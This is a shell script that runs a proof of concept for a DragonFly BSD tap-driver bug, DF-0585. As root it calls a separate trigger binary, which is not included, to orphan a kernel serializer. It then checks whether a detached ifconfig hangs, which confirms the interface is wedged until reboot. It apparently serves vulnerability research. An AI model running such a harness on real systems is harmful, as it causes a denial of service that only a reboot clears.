#!/bin/sh
# Run the DF-0585 TAPSIFINFO serializer-orphan PoC as root.
# Usage: ./run.sh [/dev/tap]
#
# Step 1 — trigger: ./leak_tap_lock forks a child that wedges in tapclose()
#          and returns 0 after printing PROOF (harness stays responsive).
# Step 2 — corroboration: background an `ifconfig tapN` FULLY DETACHED
#          (nohup + all fds redirected off the ssh pipe); if it is still alive
#          a few seconds later the *whole interface* is wedged (not just this
#          fd).  A wedged ifconfig sits in uninterruptible (D) sleep and cannot
#          be killed, so we just observe and exit, leaving the guest dirty.
#          NOTE: DragonFly has no `setsid` in /usr/bin; nohup + </dev/null
#          >/dev/null 2>&1 detaches the fds so the ssh channel can close.
set -u
DEV="${1:-/dev/tap}"
IF="${IFACE:-tap0}"

echo "=== DF-0585 step 1: trigger ==="
timeout 15 ./leak_tap_lock "$DEV"
echo "leak_tap_lock exit=$?"

echo "=== DF-0585 step 2: corroboration — detached ifconfig $IF ==="
rm -f /tmp/df585_ifconfig.out /tmp/df585_ifconfig.done
nohup sh -c "ifconfig $IF > /tmp/df585_ifconfig.out 2>&1; echo done > /tmp/df585_ifconfig.done" \
	</dev/null >/dev/null 2>&1 &
IFPID=$!
sleep 5
if kill -0 "$IFPID" 2>/dev/null; then
	echo "[+] ifconfig $IF (pid $IFPID) still running after 5s -> interface WEDGED"
	echo "[+]    (stuck in uninterruptible sleep on the orphaned serializer)"
	echo "[+] DF-0585 CORROBORATED: independent op on tap0 also blocks forever"
else
	echo "[-] ifconfig returned within 5s (NOT wedged):"
	cat /tmp/df585_ifconfig.out 2>/dev/null
fi
echo "=== DF-0585 run complete (guest is now dirty; reboot to recover) ==="